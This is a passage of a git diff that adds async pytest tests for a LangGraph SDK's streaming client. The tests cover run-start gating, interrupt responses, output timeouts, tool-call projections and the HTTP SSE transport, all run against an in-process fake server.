async with stream as thread: + loop = asyncio.get_running_loop() + # Install a never-resolving gate. + thread._run_start_ready = loop.create_future() + with pytest.raises(asyncio.TimeoutError): + # Reconcile must surface the timeout from the gate. + await thread._reconcile_stream({"channels": ["lifecycle"]}) + + +async def test_subscribe_waits_for_run_start_to_commit(): + """Subscribing before run.start commits must not race the server. + + With the gate: subscribers wait for run.start to return before opening + their SSE. Without it, a fast subscribe would 404 against a thread the + server hasn't created yet. + """ + import asyncio + + fake = FakeServer() + fake.script([]) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + # Kick run.start without awaiting — concurrently subscribe. + run_task = asyncio.create_task(thread.run.start(input={})) + sub_iter = thread.subscribe(["lifecycle"]) + # Drain one event or hit EOF. The iterator's first __anext__ + # awaits _reconcile_stream which awaits the gate. + async for _ in sub_iter: + break + # If the gate works, run.start completed before the subscription + # opened its SSE (and thus before iteration finished). + assert run_task.done() + + +async def test_run_respond_dispatches_input_respond_command(): + fake = FakeServer() + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + # Simulate one outstanding interrupt. + thread.interrupts.append( + {"interrupt_id": "i-1", "value": None, "namespace": []} + ) + thread.interrupted = True + await thread.run.respond("yes") + command = fake.received_commands[-1] + assert command["method"] == "input.respond" + assert command["params"]["interrupt_id"] == "i-1" + assert command["params"]["response"] == "yes" + assert command["params"]["namespace"] == [] + + +async def test_run_respond_with_explicit_interrupt_id(): + fake = FakeServer() + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + thread.interrupts.extend( + [ + {"interrupt_id": "a", "value": None, "namespace": []}, + {"interrupt_id": "b", "value": None, "namespace": []}, + ] + ) + thread.interrupted = True + await thread.run.respond("pick", interrupt_id="b") + assert fake.received_commands[-1]["params"]["interrupt_id"] == "b" + assert fake.received_commands[-1]["params"]["namespace"] == [] + + +async def test_run_respond_raises_when_no_outstanding_interrupts(): + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + with pytest.raises(RuntimeError, match="no outstanding interrupt"): + await thread.run.respond("yes") + + +async def test_run_respond_raises_when_ambiguous_interrupt_id(): + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.interrupts.extend( + [ + {"interrupt_id": "a", "value": None, "namespace": []}, + {"interrupt_id": "b", "value": None, "namespace": []}, + ] + ) + thread.interrupted = True + with pytest.raises(RuntimeError, match=r"ambiguous|interrupt_id"): + await thread.run.respond("yes") + + +async def test_run_respond_snapshots_interrupts_under_lock(): + """`respond()` must take a snapshot of `interrupts` under the + `_interrupts_lock`, so a concurrent terminal-event clear cannot + invalidate the in-flight dispatch. + + Verifies: if `_interrupts_lock` is held when `respond()` is called, + `respond()` blocks until the lock is released — proving it serializes + with the terminal-clear path that takes the same lock. + """ + import asyncio + + fake = FakeServer() + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + thread.interrupts.append( + {"interrupt_id": "i-1", "value": None, "namespace": []} + ) + thread.interrupted = True + # Take the interrupts lock externally to block `respond()`. + assert hasattr(thread, "_interrupts_lock"), ( + "AsyncThreadStream must expose _interrupts_lock" + ) + await thread._interrupts_lock.acquire() + try: + # `respond()` must NOT complete while we hold the lock. + task = asyncio.create_task(thread.run.respond("yes")) + # Give the task a chance to start and reach the lock. + await asyncio.sleep(0.05) + assert not task.done(), ( + "respond() should be blocked waiting for _interrupts_lock" + ) + finally: + thread._interrupts_lock.release() + # Now `respond()` should complete. + await asyncio.wait_for(task, timeout=1.0) + command = fake.received_commands[-1] + assert command["method"] == "input.respond" + assert command["params"]["interrupt_id"] == "i-1" + + +async def test_terminal_lifecycle_clear_acquires_interrupts_lock(): + """Terminal lifecycle event clears `interrupts` under the same lock + that `respond()` uses, preventing TOCTOU between snapshot and + dispatch.""" + import asyncio + + fake = FakeServer() + # No scripted events; we exercise `_apply_lifecycle_event` directly. + fake.script([]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.interrupts.append( + {"interrupt_id": "i-1", "value": None, "namespace": []} + ) + thread.interrupted = True + # Hold the lock; a completion event must block on it before + # clearing interrupts. + await thread._interrupts_lock.acquire() + try: + from typing import cast + + from langchain_protocol import Event + + terminal_event = cast( + Event, + { + "type": "event", + "method": "lifecycle", + "params": { + "namespace": [], + "data": {"event": "completed"}, + }, + "seq": 99, + "event_id": "evt-99", + }, + ) + clear_task = asyncio.create_task( + thread._apply_lifecycle_event(terminal_event) + ) + await asyncio.sleep(0.05) + # Interrupts must still be present — clear is blocked. + assert thread.interrupted is True + assert len(thread.interrupts) == 1 + assert not clear_task.done() + finally: + thread._interrupts_lock.release() + await asyncio.wait_for(clear_task, timeout=1.0) + assert thread.interrupted is False + assert thread.interrupts == [] + + +async def test_run_respond_raises_when_explicit_interrupt_id_not_outstanding(): + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.interrupts.append( + {"interrupt_id": "a", "value": None, "namespace": []} + ) + thread.interrupted = True + with pytest.raises(RuntimeError, match="does not match"): + await thread.run.respond("yes", interrupt_id="nonexistent") + + +async def test_output_cancellation_does_not_trigger_new_fetch(): + """When the in-flight fetch task for thread.output is cancelled, a + subsequent call must NOT spawn a fresh task and issue a new REST GET; + `_get_task` should return the same (cancelled) task so awaiters share + the CancelledError outcome. + """ + fake = FakeServer() + # No lifecycle terminal event — the fetch task will park on _run_done. + fake.script([]) + fake.set_state({"messages": ["hello"]}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + output_awaitable = thread.output + + # Materialize the underlying task and let it park on _run_done. + shared_task = output_awaitable._get_task() + for _ in range(20): + await asyncio.sleep(0) + if not shared_task.done(): + break + + # Simulate an in-flight fetch being cancelled. + shared_task.cancel() + with contextlib.suppress(asyncio.CancelledError): + await shared_task + assert shared_task.done() + assert shared_task.cancelled() + + # A subsequent _get_task() must return the SAME cancelled task — + # no respawn, no fresh REST fetch. + second_task = output_awaitable._get_task() + assert second_task is shared_task, ( + "expected cancelled task to be reused; got a fresh task" + ) + # No state GET should have been issued (lifecycle never completed). + assert fake.state_request_count == 0 + + +async def test_output_with_timeout_raises_timeout_error(): + """thread.output.with_timeout(s) raises TimeoutError when the lifecycle + never resolves within the budget.""" + fake = FakeServer() + # Hold the stream open with a long inter-event delay so the lifecycle + # watcher parks on the iterator (mid-sleep before a non-terminal event) + # and `_run_done` never resolves before the timeout fires. Without the + # delay, a clean EOF would resolve `_run_done` with an errored + # `_RunTerminal` (per PR 7821) and `with_timeout` would raise that error + # instead of `asyncio.TimeoutError`. + fake.script([lifecycle_started_event(seq=0)], delay=10.0) + fake.set_state({"never": "reached"}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + with pytest.raises(asyncio.TimeoutError): + await thread.output.with_timeout(0.1) + + +async def test_output_with_timeout_returns_value_when_lifecycle_completes_in_time(): + """thread.output.with_timeout(s) returns the values dict when the lifecycle + resolves within the budget.""" + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=0)]) + fake.set_state({"messages": ["hello"]}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + result = await thread.output.with_timeout(2.0) + assert result == {"messages": ["hello"]} + + +async def test_output_with_timeout_returns_new_awaitable_not_self(): + """with_timeout() returns a fresh awaitable, leaving the original untouched.""" + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + bounded = thread.output.with_timeout(0.5) + assert bounded is not thread.output + assert bounded._timeout == 0.5 + assert thread.output._timeout is None + + +async def test_threads_stream_accepts_websocket_transport_option(): + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + stream = threads.stream( + thread_id="t-1", + assistant_id="agent", + transport="websocket", + ) + assert stream._transport_kind == "websocket" + + +async def test_threads_stream_rejects_unknown_transport_option(): + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + with pytest.raises(ValueError, match="transport"): + threads.stream( + thread_id="t-1", + assistant_id="agent", + transport="bogus", # ty: ignore[invalid-argument-type] + ) + + +async def test_v3_streaming_async_surface_smoke(): + import asyncio + + from streaming._events import ( + custom_event, + lifecycle_completed_event, + message_finish_event, + message_start_event, + message_text_delta_event, + message_text_finish_event, + tool_finished_event, + tool_started_event, + values_event, + ) + + fake = FakeServer() + fake.set_state({"final": True}) + fake.script( + [ + values_event(seq=1, values={"step": 1}), + message_start_event(seq=2, message_id="msg-1"), + message_text_delta_event(seq=3, text="hi", message_id="msg-1"), + message_text_finish_event(seq=4, text="hi", message_id="msg-1"), + message_finish_event(seq=5, message_id="msg-1"), + tool_started_event(seq=6, tool_call_id="call-1", tool_name="search"), + tool_finished_event(seq=7, tool_call_id="call-1", output={"ok": True}), + custom_event(seq=8, name="progress", step=1), + lifecycle_completed_event(seq=9), + ] + ) + async with httpx.AsyncClient( + transport=fake.transport, base_url="http://test" + ) as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + start = await thread.run.start( + input={"messages": [{"role": "user", "content": "hi"}]} + ) + + # Start all consumers concurrently so their subscriptions are all + # registered before the first SSE reconciliation. This means ONE + # shared SSE opens with the union filter, dedup never rejects events. + async def _get_first_values() -> Any: + async for v in thread.values: + return v + + async def _get_message_streams(): + return [s async for s in thread.messages] + + async def _get_tool_calls(): + return [call async for call in thread.tool_calls] + + async def _get_progress(): + return [p async for p in thread.extensions["progress"]] + + first_values, message_streams, tool_calls, progress = await asyncio.gather( + _get_first_values(), + _get_message_streams(), + _get_tool_calls(), + _get_progress(), + ) + # stream.text is already fully accumulated after gather completes. + message_texts = [await s.text for s in message_streams] + final = await thread.output + + assert start == {"run_id": "run-1"} + assert first_values == fake.state["values"] + assert message_texts == ["hi"] + assert tool_calls[0].name == "search" + assert progress == [{"name": "progress", "step": 1}] + assert final == {"final": True} + + +async def test_interleave_projections_single_channel_values(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + values_event(seq=1, counter=1), + values_event(seq=2, counter=2), + lifecycle_completed_event(seq=3), + ] + ) + fake.set_state({"counter": 0}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + items = [] + async for ch, item in thread.interleave_projections(["values"]): + items.append((ch, item)) + assert ("values", {"counter": 1}) in items + assert ("values", {"counter": 2}) in items + assert all(ch == "values" for ch, _ in items) + + +async def test_interleave_projections_values_and_messages_arrival_order(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + values_event(seq=1, counter=1), + message_start_event(seq=2, message_id="m-1"), + values_event(seq=3, counter=2), + message_finish_event(seq=4, message_id="m-1"), + lifecycle_completed_event(seq=5), + ] + ) + fake.set_state({"counter": 0}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + order = [] + async for ch, _ in thread.interleave_projections(["values", "messages"]): + order.append(ch) + if len(order) >= 3: + break + assert order[:3] == ["values", "messages", "values"] + + +async def test_interleave_projections_mixes_builtin_and_extension(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + values_event(seq=1, counter=1), + custom_event(seq=2, name="foo", hello="world"), + lifecycle_completed_event(seq=3), + ] + ) + fake.set_state({"counter": 0}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + items = [] + async for ch, item in thread.interleave_projections(["values", "foo"]): + items.append((ch, item)) + assert ("values", {"counter": 1}) in items + # extension payload is the whole params.data including "name"; tuple uses bare name "foo" + assert ("foo", {"name": "foo", "hello": "world"}) in items + + +async def test_interleave_projections_tool_calls_uses_public_name(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-1", tool_name="search"), + tool_finished_event(seq=2, tool_call_id="call-1", output={"ok": True}), + lifecycle_completed_event(seq=3), + ] + ) + fake.set_state({}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + names = [] + async for ch, item in thread.interleave_projections(["tool_calls"]): + names.append(ch) + assert item.tool_call_id == "call-1" # real ToolCallHandle + # tuple uses the PUBLIC name "tool_calls", never the wire name "tools" + assert names == ["tool_calls"] + + +async def test_interleave_projections_subgraphs_discovers_child(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + lifecycle_started_event(seq=1, namespace=["child"]), + lifecycle_completed_event(seq=2), + ] + ) + fake.set_state({}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + discovered = [] + async for ch, handle in thread.interleave_projections(["subgraphs"]): + discovered.append((ch, handle.path)) + assert ("subgraphs", ("child",)) in discovered + + +async def test_interleave_projections_inflight_tool_call_failed_on_break(): + """A tool handle held past an early break is failed in teardown, never left hanging.""" + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-1", tool_name="search"), + # no tool-finished: the call is still in flight when the consumer breaks + lifecycle_completed_event(seq=2), + ] + ) + fake.set_state({}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + handle = None + async for _, item in thread.interleave_projections(["tool_calls"]): + handle = item + break + assert handle is not None + # Without teardown finalization this would hang forever; wait_for + # turns a regression into a TimeoutError rather than a RuntimeError. + with pytest.raises(RuntimeError): + await asyncio.wait_for(handle.output, timeout=2) + + +async def test_interleave_projections_inflight_subgraph_finished_on_terminal(): + """A discovered subgraph child with no terminal tasks-result is force-completed.""" + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + lifecycle_started_event(seq=1, namespace=["child"]), + # no tasks-result for the child: it is still "started" at run end + lifecycle_completed_event(seq=2), + ] + ) + fake.set_state({}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + child = None + async for _, handle in thread.interleave_projections(["subgraphs"]): + child = handle + assert child is not None + assert child.status == "completed" + + +@pytest.mark.parametrize("channel", ["lifecycle", "tools", "input"]) +async def test_interleave_projections_rejects_reserved_channel(channel): + """Reserved protocol channel names raise instead of silently no-op'ing. + + `infer_channel` treats these as first-class methods, but they have no + interleave decoder, so routing them to the extension/`custom:` fallback + would subscribe to a channel that never matches and yield nothing. Fail + closed. (`updates`/`checkpoints`/`tasks` are supported and tested below.) + """ + fake = FakeServer() + fake.script([lifecycle_started_event(seq=0), lifecycle_completed_event(seq=1)]) + fake.set_state({}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + with pytest.raises(ValueError, match=channel): + async for _ in thread.interleave_projections([channel]): + pass + + +async def test_interleave_projections_data_channels_yield_payloads(): + """`updates`/`checkpoints`/`tasks` yield their raw `params.data` payloads.""" + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + updates_event(seq=1, node={"v": 1}), + checkpoints_event(seq=2, ts="t-0", v=4), + tasks_start_event(seq=3, task_id="task-9"), + lifecycle_completed_event(seq=4), + ] + ) + fake.set_state({}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + items = [] + async for ch, item in thread.interleave_projections( + ["updates", "checkpoints", "tasks"] + ): + items.append((ch, item)) + assert ("updates", {"node": {"v": 1}}) in items + assert ("checkpoints", {"ts": "t-0", "v": 4}) in items + assert any(ch == "tasks" and item.get("id") == "task-9" for ch, item in items) + + +async def test_interleave_projections_data_channel_scoped_to_root_namespace(): + """A child-namespace checkpoint must not leak into a root interleave. + + `values` subscribes unscoped, so `compute_union_filter` widens the merged + subscription to all namespaces; the `DataDecoder` root filter is what keeps + a subgraph checkpoint out of the root projection (mirrors local scope). + """ + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + checkpoints_event(seq=1, namespace=["child"], scope="child"), + checkpoints_event(seq=2, scope="root"), + lifecycle_completed_event(seq=3), + ] + ) + fake.set_state({"counter": 0}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + checkpoints = [] + async for ch, item in thread.interleave_projections( + ["values", "checkpoints"] + ): + if ch == "checkpoints": + checkpoints.append(item) + assert {"scope": "root"} in checkpoints + assert {"scope": "child"} not in checkpoints diff --git a/libs/sdk-py/tests/streaming/test_tool_calls_projection.py b/libs/sdk-py/tests/streaming/test_tool_calls_projection.py new file mode 100644 index 0000000..f01e03d --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_tool_calls_projection.py @@ -0,0 +1,272 @@ +"""Tests for `thread.tool_calls` - typed async tool-call projection.""" + +from __future__ import annotations + +import time + +import httpx +import pytest + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._async.threads import ThreadsClient +from streaming._events import ( + lifecycle_completed_event, + lifecycle_errored_event, + lifecycle_started_event, + tool_error_event, + tool_finished_event, + tool_output_delta_event, + tool_started_event, +) +from streaming._fake_server import FakeServer + + +async def test_tool_calls_subscribes_to_tools_channel(): + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=1)]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + _ = [call async for call in thread.tool_calls] + + assert any( + "tools" in body.get("channels", []) for body in fake.stream_request_bodies + ) + + +async def test_tool_calls_yields_handle_deltas_and_output(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event( + seq=1, + tool_call_id="call-1", + tool_name="search", + input={"query": "sf weather"}, + ), + tool_output_delta_event(seq=2, tool_call_id="call-1", delta="part "), + tool_output_delta_event(seq=3, tool_call_id="call-1", delta="two"), + tool_finished_event( + seq=4, + tool_call_id="call-1", + output={"temperature": 68}, + ), + lifecycle_completed_event(seq=5), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + calls = [call async for call in thread.tool_calls] + + assert len(calls) == 1 + call = calls[0] + assert call.tool_call_id == "call-1" + assert call.name == "search" + assert call.input == {"query": "sf weather"} + assert call.namespace == [] + assert call.done is True + assert [delta async for delta in call.deltas] == ["part ", "two"] + assert await call.output == {"temperature": 68} + + +async def test_tool_calls_multiple_concurrent_calls_route_by_id(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-a", tool_name="alpha"), + tool_started_event(seq=2, tool_call_id="call-b", tool_name="beta"), + tool_output_delta_event(seq=3, tool_call_id="call-b", delta="b1"), + tool_output_delta_event(seq=4, tool_call_id="call-a", delta="a1"), + tool_finished_event(seq=5, tool_call_id="call-a", output="A"), + tool_finished_event(seq=6, tool_call_id="call-b", output="B"), + lifecycle_completed_event(seq=7), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + calls = [call async for call in thread.tool_calls] + + by_id = {call.tool_call_id: call for call in calls} + assert set(by_id) == {"call-a", "call-b"} + assert [delta async for delta in by_id["call-a"].deltas] == ["a1"] + assert [delta async for delta in by_id["call-b"].deltas] == ["b1"] + assert await by_id["call-a"].output == "A" + assert await by_id["call-b"].output == "B" + + +async def test_tool_calls_ignores_nested_namespace_for_root_projection(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, namespace=["child:1"], tool_call_id="nested"), + tool_finished_event(seq=2, namespace=["child:1"], tool_call_id="nested"), + lifecycle_completed_event(seq=3), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + calls = [call async for call in thread.tool_calls] + + assert calls == [] + + +async def test_tool_calls_error_event_fails_output_and_deltas(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-1"), + tool_output_delta_event(seq=2, tool_call_id="call-1", delta="before"), + tool_error_event(seq=3, tool_call_id="call-1", message="boom"), + lifecycle_completed_event(seq=4), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + calls = [call async for call in thread.tool_calls] + + assert len(calls) == 1 + assert [delta async for delta in calls[0].deltas] == ["before"] + with pytest.raises(RuntimeError, match="boom"): + await calls[0].output + + +async def test_tool_calls_run_error_fails_active_handle(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-1"), + lifecycle_errored_event(seq=2, error="run failed"), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + calls = [call async for call in thread.tool_calls] + + assert len(calls) == 1 + with pytest.raises(RuntimeError, match="Run errored: run failed"): + await calls[0].output + + +async def test_tool_calls_stream_end_fails_active_handle(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-1"), + lifecycle_completed_event(seq=2), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + calls = [call async for call in thread.tool_calls] + + assert len(calls) == 1 + with pytest.raises(RuntimeError, match="closed before terminal tool event"): + await calls[0].output + + +async def test_tool_calls_explicit_aclose_does_not_block_1s(): + """Explicitly closing the tool_calls iterator must return in <500ms. + + The old finally block did `await asyncio.wait_for(asyncio.shield(run_done), + timeout=1.0)` unconditionally. When the caller explicitly calls aclose() on + the generator before any lifecycle terminal event arrives, this caused a + mandatory 1-second stall per iterator close. + """ + fake = FakeServer() + # Script has a started lifecycle and one tool, but NO terminal lifecycle. + # If the shield-wait is present, aclose() will block for 1s. + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-1"), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + # _tool_calls_iter() is an AsyncGenerator; cast so the type checker + # knows aclose() is available without a bare AsyncIterator protocol. + from collections.abc import AsyncGenerator + + gen: AsyncGenerator = thread.tool_calls._tool_calls_iter() + _call = await gen.__anext__() # receive the one tool-started handle + start = time.monotonic() + await gen.aclose() # explicitly close — must not stall 1s + elapsed = time.monotonic() - start + assert elapsed < 0.5, f"tool_calls aclose() took {elapsed:.3f}s (expected <0.5s)" + + +def test_tool_call_handle_deltas_queue_is_bounded(): + """ToolCallHandle._deltas must be constructed with a bounded asyncio.Queue. + + Unbounded queues allow producers to enqueue indefinitely, causing memory + growth when consumers are slow. + """ + import asyncio + + # We need a running loop to create the Future inside ToolCallHandle.__init__. + async def _make() -> None: + from langgraph_sdk._async.stream import ToolCallHandle + + handle_default = ToolCallHandle(tool_call_id="tc1", name="foo") + assert handle_default._deltas.maxsize > 0, ( + "default maxsize must be positive (bounded)" + ) + + handle_custom = ToolCallHandle(tool_call_id="tc2", name="bar", max_queue_size=8) + assert handle_custom._deltas.maxsize == 8 + + asyncio.run(_make()) + + +def test_tool_call_handle_deltas_single_consumer_guard(): + """Accessing `handle.deltas` a second time must raise immediately. + + `_deltas` is a single-consumer queue; fanning out to multiple consumers + would cause each consumer to miss events already consumed by the other. + The property must raise before returning the iterator so the caller + sees the error even without iterating. + """ + import asyncio + + async def _run() -> None: + from langgraph_sdk._async.stream import ToolCallHandle + + handle = ToolCallHandle(tool_call_id="tc1", name="foo") + + # First access: fine — returns the iterator. + _iter_1 = handle.deltas + + # Second access: must raise immediately (before any iteration). + with pytest.raises(RuntimeError, match="single consumer"): + _ = handle.deltas + + asyncio.run(_run()) diff --git a/libs/sdk-py/tests/streaming/test_transport_http.py b/libs/sdk-py/tests/streaming/test_transport_http.py new file mode 100644 index 0000000..597136b --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_transport_http.py @@ -0,0 +1,571 @@ +from __future__ import annotations + +import asyncio +import contextlib + +import httpx +import orjson +import pytest + +from langgraph_sdk.stream.transport.http import EventStreamHandle, ProtocolSseTransport + + +async def test_event_stream_handle_constructs_with_open_state(): + loop = asyncio.get_running_loop() + ready: asyncio.Future[None] = loop.create_future() + done: asyncio.Future[BaseException | None] = loop.create_future() + done.set_result(None) + closed = False + + async def aiter_events(): + if False: + yield # pragma: no cover + + async def closer(): + nonlocal closed + closed = True + + handle = EventStreamHandle( + events=aiter_events(), ready=ready, done=done, close=closer + ) + assert handle.ready is ready + assert handle.done is done + await handle.close() + assert closed is True + + +async def test_send_command_posts_json_and_returns_response(): + from streaming._fake_server import FakeServer + + fake = FakeServer() + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport(client=client, thread_id="t-1") + result = await sse.send_command( + { + "id": 7, + "method": "run.start", + "params": {"input": {"x": 1}}, + } + ) + assert result == {"type": "success", "id": 7, "result": {"run_id": "run-1"}} + assert fake.received_commands[0]["id"] == 7 + + +async def test_send_command_returns_none_on_202(): + from starlette.applications import Starlette + from starlette.responses import Response + from starlette.routing import Route + + received: list[dict] = [] + + async def commands(request): + received.append(orjson.loads(await request.body())) + return Response(status_code=202) + + app = Starlette( + routes=[Route("/threads/{thread_id}/commands", commands, methods=["POST"])] + ) + transport = httpx.ASGITransport(app=app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport(client=client, thread_id="t-1") + result = await sse.send_command({"id": 1, "method": "noop", "params": {}}) + assert result is None + assert len(received) == 1 + + +async def test_send_command_raises_when_closed(): + from streaming._fake_server import FakeServer + + fake = FakeServer() + transport = httpx.ASGITransport(app=fake.app) + 